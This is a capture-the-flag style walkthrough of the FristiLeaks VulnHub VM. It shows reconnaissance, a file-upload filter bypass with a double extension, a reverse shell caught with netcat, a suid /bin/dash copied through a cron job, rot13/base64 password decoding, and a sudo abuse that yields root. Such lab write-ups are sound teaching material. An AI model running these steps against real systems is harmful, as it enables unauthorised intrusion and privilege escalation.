

Yo, So it's Christmas time and my life is temporarily calming down and just in time for me to enter this competition. It was pretty straight forward vulnerable web application, with some simple code review but now I've done it and I have some time, I thought I may aswell write it up.

So this story starts the same way as every other pentest, conveniently for us, the IP address is provided by the VM itself.



Next up, let's port scan it, the only port we find open is 80, we ran the scan with -sC to run some of the default nmap scripts and it discovers some weird entries in robots.txt, checking this out lead us to a dead end and we are shown some starwars meme image

```
root@kali: ~ 82x41

[root@kali] - [~] - [Wed Dec 16, 06:13]

[s] <> nmap -sV -sC 192.168.56.101

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-12-16 06:13 GMT

Nmap scan report for 192.168.56.101

Host is up (0.0013s latency).

Not shown: 999 filtered ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)

| http-methods: Potentially risky methods: TRACE
| See http://nmap.org/nsedoc/scripts/http-methods.html
| http-robots.txt: 3 disallowed entries
| _/cola /sisi /beer
| http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
| http-title: Site doesn't have a title (text/html; charset=UTF-8).


MAC Address: 08:00:27:A5:A6:76 (Cadmus Computer Systems)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.


Nmap done: 1 IP address (1 host up) scanned in 25.65 seconds

[root@kali] - [~] - [Wed Dec 16, 06:13]
```


If we actually look at the site, we see the following image:




This got me thinking, what the hell is a fristi;/ So according to google it's some kind of milkshake...




I ran dirbuster with no results, but eventually something clicked, so all the entries in robots were also drinks, so what if we try 192.168.56.101/fristi as a directory and BAM - here's the admin panel!



I tried all the usual tests for SQL injection with no luck on this login page and then went back to scanning this particular directory with dirbuster




Cool, so it actually found something, "upload.php" looks tasty:)




So we check it out in burp, immediately I noticed that there was a location header redirecting us as away from the current page but I could still see the page contents, that looks like some broken access control if I ever did see it:

```
Response
 Raw | Headers | Hex
                    HTML
                          Render
HTTP/1.1 302 Found
Date: Wed, 16 Dec 2015 06:22:41 GMT
Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
X-Powered-By: PHP/5.3.3
Set-Cookie: PHPSESSID=inpeufOlOlsOseobijanqqn8v6;
path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate,
post-check=0, pre-check=0
Pragma: no-cache
location: main_login.php
Content-Length: 269
Connection: close
Content-Type: text/html; charset=UTF-8
<html>
<body>
<form action="do_upload.php" method="post"</pre>
enctype="multipart/form-data">
    Select image to upload:<br>
    <input type ="file" name="fileToUpload"</pre>
id="fileToUpload">
   <input type="submit" value="Upload Image"</pre>
name="submit">
</form>
</body>
</html>
```

I just copied the form out into a file on my local apache:



I played with the request for a few seconds because initially it blocked me uploaded a file with the name "shell.php", I used a simple trick of double extensions which worked beautifully and called my file shell.php.jpg, I used it to upload the php-reverse-shell.php from kali's webshells directory I just had to change the IP and port number in the config with burp:



In a terminal I launched netcat to listen on port 1337 and hit "forward" on burp, the response tells us that the file has been uploaded to /uploads. Atleast path disclosure bugs are useful ocassionally:)

```
Original request | Edited request | Response
 Raw Headers Hex HTML Render
HTTP/1.1 302 Found
Date: Wed, 16 Dec 2015 06:28:32 GMT
Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: main login.php
Content-Length: 104
Connection: close
Content-Type: text/html; charset=UTF-8
<html>
<body>
Uploading, please wait<br />The file has been uploaded to /uploads <br /></body>
</html>
```

Opening 192.168.56.101/fristi/uploads/shell.php.jpg I get a shiny new shell in netcat running as Apache:

```
[root@kali] - [/var/www/html] - [Wed Dec 16, 06:27]

[$] <> nc -lvvp 1337

listening on [any] 1337 ...

192.168.56.101: inverse host lookup failed: Host name lookup failure connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 58032

Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 U TC 2015 x86_64 x86_64 x86_64 GNU/Linux

01:29:50 up 18 min, 0 users, load average: 0.00, 0.00, 0.00

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=48(apache) gid=48(apache) groups=48(apache)

sh: no job control in this shell

sh-4.1$
```

Looking around the box a little I noticed a readable file in a user called eezeepz's home directory at /home/eezeepz/notes.txt, apparently a user called admin has set up a cron job to read /tmp/runthis every minute, the cron will run will commands from /tmp/runthis aslong as the binaries are either in /usr/bin or /home/admin. The files in /home/admin are listed in the note:

```
sh-4.1$ cat /home/eezeepz/notes.txt
cat /home/eezeepz/notes.txt
Yo EZ,

I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.

- Jerry
sh-4.1$
```

We can easily use this to escalate our permissions to the admin user if we force the cron to use the cat command to copy /bin/dash to /tmp, which will ensure that the admin user owns the file followed by having the cron run chmod 4777 on the copied /bin/dash so that it will be executable by apache and will run as the admin user due to suid bit being set on /bin/dash:

```
nc-lvvp 1337 82x41

sh-4.1$ echo "/home/admin/cat /bin/dash > /tmp/shell" > /tmp/runthis echo "/home/admin/cat /bin/dash > /tmp/shell" > /tmp/runthis sh-4.1$ echo "/home/admin/chmod 4777 /tmp/shell" >> /tmp/runthis echo "/home/admin/chmod 4777 /tmp/shell" >> /tmp/runthis echo "/home/admin/chmod 4777 /tmp/shell" >> /tmp/runthis sh-4.1$ cat /tmp/runthis /tmp/runthis /tmp/runthis /tmp/shell /tmp/
```

As standard we want a truely interactive shell so we use python to spawn a real tty:

```
sh-4.1$ python -c 'import pty; pty.spawn("/bin/sh")
python -c 'import pty; pty.spawn("/bin/sh")'
sh-4.1$ /tmp/shell
/tmp/shell
$ whoami
whoami
admin
```

Inside /home/admin we find some interesting files, an encrypted password and a python script which encrypts user input using rot13 and base64:

```
$ cd /home/admin
cd /home/admin
$ ls
ls
                        cryptpass.py echo
                                              grep whoisyourgodnow.txt
cat
       cronjob.py
chmod cryptedpass.txt
                                       egrep
                                              ps
$ cat cryptedpass.txt
cat cryptedpass.txt
mVGZ303omkJLmy2pcuTq
$ cat cryptpass.py
cat cryptpass.py
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys
def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
```

We can now decrypt the password using a simple python script which just performs the reverse of cryptpass.py:

```
nano decrypt-pass.py 82x39
                             File: decrypt-pass.py
 GNU nano 2.2.6
 Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys
def decodeString(str):
   decoded = codecs.decode(str[::-1], 'rot13')
   print base64.b64decode(decoded)
cryptoResult=decodeString(sys.argv[1])
  ·[root@kali] - [/var/www/html] - [Wed Dec 16, 06:47]
```

-[\$] <> python decrypt-pass.py mVGZ303omkJLmy2pcuTq

thisisalsopw123

Decrypting the current user's password probably isn't so useful as we already have a shell running as their user. Looking around the box further, I noticed two things, there was also a file in /home/admin called whoisyourgodnow.txt which also contained what appeared to be another encrypted password and there is a user on the box called fristigod, on a hunch I wondered if this new text file might contain fristigod's password:

```
$ cat whoisyourgodnow.txt
cat whoisyourgodnow.txt
=RFnOAKnlMHMPIzpyuTIOITG
$ ls /home
ls /home
admin eezeepz fristigod
$
```

```
[root@kali] - [/var/www/html] - [Wed Dec 16, 06:50]

[$] <> python decrypt-pass.py "=RFn0AKnlMHMPIzpyuTI0ITG"

LetThereBeFristi!
```

I just used the su command to attempt to login as fristigod and it worked fine:

```
$ su fristigod
su fristigod
Password: LetThereBeFristi!
bash-4.1$ whoami
whoami
fristigod
bash-4.1$
```

As fristigod, I checked out the output of sudo -I, they are allowed to run a binary called "doCom" as root but only as the fristi user (not fristigod) if we just run the command using sudo -u fristi /var/fristigod/.secret\_admin\_stuff/doCom it works perfectly, the application says we need to provide a terminal command, so I just re-ran it with /bin/bash as an input, the result of this a root shell:

```
bash-4.1$ sudo -l
sudo -l
Matching Defaults entries for fristigod on this host:
    requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS"
    DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
    PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User fristigod may run the following commands on this host:
    (fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom
bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret admin stuff/doCom
Usage: ./program name terminal command ...bash-4.1$
bash-4.1$ sudo -u fristi /var/fristigod/.secret admin stuff/doCom /bin/bash
sudo -u fristi /var/fristigod/.secret admin stuff/doCom /bin/bash
bash-4.1# whoami
whoami
root
```

The flag file is shown below:

```
bash-4.1# ls /root
ls /root
fristileaks_secrets.txt
bash-4.1# cat /root/fristileaks_secrets.txt
cat /root/fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by ArOxA [https://tldr.nu]
I wonder if you beat it in the maximum 4 hours it's supposed to take!
Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)
Flag: YOu_knOw_yOu_love_fr1st1
bash-4.1#
```

Thanks for reading my write up.